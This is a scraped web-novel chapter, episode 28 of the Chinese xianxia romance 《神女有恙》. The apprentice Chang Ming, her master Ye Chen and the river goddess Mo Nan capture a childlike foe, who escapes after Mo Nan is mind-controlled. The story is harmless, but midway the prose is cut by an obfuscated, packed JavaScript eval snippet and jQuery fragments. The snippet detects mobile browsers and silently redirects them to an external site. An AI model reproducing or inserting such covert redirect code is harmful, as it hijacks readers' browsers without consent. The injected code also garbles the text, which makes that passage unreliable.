28. 履承诺
作品:《神女有恙》 “好一朵白莲花!”苌茗跳脱掖尘怀抱,双脚落地,情不自禁感慨。
掖尘敲了一下苌茗脑门儿:“胡说八道什么呢?这是弱水河神,若非她相助,你现在还是人质呢!”
掖尘话音刚落,飞身来到战场,相助莫南。
“弱水河神”四个字,在苌茗记忆中复苏,思及倪玚说过的话,如晴天霹雳。
偏生苌茗站在岸边,远远观望掖尘和莫南携手抗敌,越看越般配。
掖尘和莫南却无心思风花雪月,黄口小儿显然有备而来,会缩骨,极擅长挣脱绳索和束缚。掖尘想拿活口问询,难以下死手,流光瓶又关不了人类,一时间,三个人缠斗起来。
苌茗急得直跺脚,眼瞅着黄口小儿略显疲态,耗尽全部法力,启动捆神索,直奔黄口小儿。这一次,黄口小儿被轻松拿捏,直直坠落至岸边。
“你又擅作主张!”掖尘却并无感念苌茗功劳,只皱眉不满。
莫南望着苌茗的眸子,却带着探究和意味深长。或许,连掖尘自己都没发现,他鲜少的情绪外露,折射出的是对苌茗的关心。
“师兄,许久不见,人既抓到了,不如去我水下宫殿坐坐,细说此事?”莫南温温柔柔打断二人。
掖尘点头:“如此甚好,许久不来,劳烦师妹带个路。”
莫南直面弱水,打出漂亮的手势,弱水河再次升腾起两道水幕,中间延伸出一条蜿蜒小径,直通水下。
莫南领路,苌茗拉着黄口小儿紧跟其后,掖尘断后。
苌茗忍不住嘀咕:“你几岁啊?”
黄口小儿不答:“要杀要剐、悉听尊便!哪儿那么多废话!”
领头的莫南幽幽开口:“他也未必是小孩儿,可能是练习了什么邪术,返老还童了。当然,他周身并无怪异气息,很可能是,和谁做出了利益交换。”
掖尘自是明白莫南所言,黄口小儿替对方搜集纯阴之体的戾气,对方给黄口小儿还阳,彼此掩盖踪迹和气息,混淆视线。
愈到河底,光亮愈盛,一座清新素雅的宫殿映入眼帘。
水流漫过殿檐时,竟未沾湿半分——整座宫殿以月光石为基,淡青色琉璃为瓦,檐角垂着串透明的水母铃,水流拂过便漾起细碎银响。
殿门是半透的鲛绡帘,缀着圆润的珍珠,掀帘时可见殿内立柱裹着白珊瑚,柱顶托着盏水萤灯,暖光透过澄澈的灯壁,在浅白的玉砖上投下细碎光斑。殿中无繁复陈设,仅案上摆着只青瓷瓶,瓶中插着几支水泽兰,花瓣上凝着的水珠,映得满殿更显清透雅致。
“好漂亮!”苌茗赞叹。
“屋舍简陋,还望你们莫要嫌弃。”莫南径直来到正殿。
苌茗将黄口小儿丢在犄角旮旯,毫不客气地参观起宫殿。
掖尘出声制止:“苌茗,别乱来,这是莫南的家。”
“无妨,我家徒四壁,也没什么好摸索的。”莫南温柔似水,苌茗心生艳羡,若她能有莫南女神一半就好了,男人是不是都喜欢这一款?
莫南轻轻拍手三下:“来人,上果盘点心。”
不多时,小章鱼端着两个盘子上桌,还不忘给每个人倒了杯花茶。
“真可爱。”苌茗伸手触碰了一下章鱼脚,后者吓得节节后退。
“见谅,她生性害羞。”莫南看向掖尘,“好了,师兄可以介绍了,这位就是传闻中你收的徒弟、南极公主?”
“啊,是,她叫苌茗。”掖尘又指向莫南,“苌茗,这位是我凡间修行时的师妹。这师兄妹,是根据凡间相遇时的年龄称的,实则,莫南上仙慧根极佳,比为师早飞升。”
莫南笑了笑:“如此说来,苌茗得唤我一声‘师姑’呢。”
只怕,你更希望我喊你师娘吧?女人的直觉总是可怖的,第一眼,苌茗便看穿了莫南对掖尘的心思,莫南显然也对苌茗带着敌意。
“天色如此晚,你们不若休息一下,明日再审?”
“是我叨扰了,想来河底生物皆被我们吵醒。”掖尘愧疚道,“师妹且去忙活,不必管我们,我们自行去后面寻一间屋子暂住便好。”
莫南点头,挥了挥手,眼前出现一只巨大的河蚌。随着“叮咚”一声,蚌壳大开,黄口小儿被吸入其中。
“先把他关在这里,你们放心,没有我的特有水系法术或听闻我的声音,蚌壳不会大开,他跑不了。”
“多谢。”掖尘道谢完,拉着苌茗就走。
苌茗觉得很奇怪,掖尘和莫南看上去是很熟,掖尘大喊一声,莫南便惊扰整个弱水河,替掖尘分忧。可是,他们之间真的很“师兄妹”,纯粹是道友间的客套,连她和哥哥们的感情都不如。
掖尘轻车熟路来到一处僻静房间,将苌茗按在凳子上:“说吧,你今天犯了几次错?”
“犯错?徒儿连夜奔走,何错之有?唯一不妥,是大意着了对方的道,沦为人质。”
“为师叮嘱你多少次了,莫要冒进。你刚开始修习法术,连经文都没背熟,逞什么强?”
苌茗听闻这话可就不乐意了,站起身,对掖尘上下其手。
“干嘛?”掖尘后退一步,双手抱胸,警惕看着苌茗。
“找你身上的经文啊,继续背。我都背熟了,你随便考!”苌茗自信满满。
掖尘半信半疑打开经文,抽了八十一章,再倒回来抽了三十章,苌茗当真滚瓜烂熟。
“不错,明日起,为师教你别的法术。”掖尘对苌茗的表现很满意,他没想到,娇生惯养的小公主,比他想象中还能吃苦。可以吃飞行术跌跌撞撞的苦,亦能吃耗费脑筋背书的苦。
苌茗凑近掖尘,贼贼一笑:“还有呢?”
“什么?”掖尘是记得赌约的,可是,他笑不出来,下意识想耍赖。
苌茗小脸拉垮:“师傅,做人不可言而无信,更何况你是上仙!徒儿可是一个月内背完了《道德经》全文,甚至提前了三日,师傅焉能耍赖?”
掖尘被磨得不行,强逼着自己嘴角上扬。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344213|180898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
苌茗却哈哈大笑起来:“师傅,你这哪儿是笑啊,怎么比哭还难看呢?”
“差不多得了。”掖尘有些不好意思。
苌茗却不依不饶,伸出手,按在掖尘两边嘴角,用力往上提:“至少要这样嘛!”
“苌茗,你该去休息了!”掖尘躲闪不及,险些跌倒,引得苌茗再次大笑。
二人都不知道,门外一人影一闪而过。莫南本是拿着被子来嘘寒问暖,越是靠近,听闻二人嬉笑声,捏着被子的手扭曲成拳。
莫南和掖尘相识百年,十分了解。掖尘性子一向冷清,对待同门亦理性克制。当初的婚约,是师傅圆寂前定下的,掖尘绝口不提,莫南以为是不好意思。如今面对苌茗,掖尘竟变了个人。
原来,掖尘并非冷漠,只是对她冷漠。莫南转过身,独自回到自己房间。想佯装一切没发生过,却翻来覆去睡不着。
“咯噔、咯噔……”有什么东西被撬动的声音传来,直抵莫南心里。莫南捂住胸口,循着声源走,来到会客厅。
一道蓝色光芒蓦地击中莫南眉心,莫南的杏眼失去神采,如行尸走肉般,来到蚌壳处……
苌茗这一觉睡得很香,自然醒来,睁眼便看到靠在案几旁看书的掖尘,只觉无比温暖。掖尘听闻动静,放下经文,温柔道。
“醒了?收拾一下,找莫南一起吃点东西,审讯那小孩儿吧。”
“对了,师傅,我们不辞而别,不要紧吧?郭县令会不会担心我们?”苌茗忽然想起什么。
掖尘摇头:“郭县令知道我们本事大,再者,等我们送阿箬夫人转世后,反正得托赖语堂或鬼差告知一声,不碍事的。眼下,还是管好众生安危吧。”
二人边走边说,待来到前厅,皆被眼前的一幕吓到。捆缚黄口小儿的蚌壳大开,黄口小儿不翼而飞。莫南跌倒在一旁,昏迷不醒。
“莫南!”掖尘上前,查看莫南情况。河底侍从们闻讯赶来,围绕莫南一阵忙活。
掖尘觉得吵闹,打横抱起莫南就往后院走:“去取毛巾、热水、干净换洗衣服来。”
苌茗望着掖尘背影,心随着掖尘的离去逐渐下沉。师傅和莫南真的好配,且彼此互相帮助、关心,想来,百余年来,他们皆相伴如斯。苌茗真的羡慕哭了。
“苌茗,愣着干嘛?还不过来帮忙!”掖尘还不忘回头,见苌茗发愣,赶紧喊上。
苌茗不情不愿跟着,眼睁睁见掖尘把脉,抚摸莫南额头和脖颈。
“昨夜可有异常?”掖尘转头询问几位仙侍。
仙侍们纷纷摇头,领头的章鱼开口道:“是这样,我家上仙喜静,弱水河底本就没几个伺候的。很多事上仙也喜欢亲力亲为,晚上都不叫我们,不过我们自行排了个班,昨夜是我当值。但我睡得死,没听到什么动静。”
“你家上仙似乎被什么力量操控,打开了蚌壳。那股力量过于强大狠戾,损伤了她的元神。”掖尘眉头紧皱,到底是谁,能不动声色地伤到弱水河神?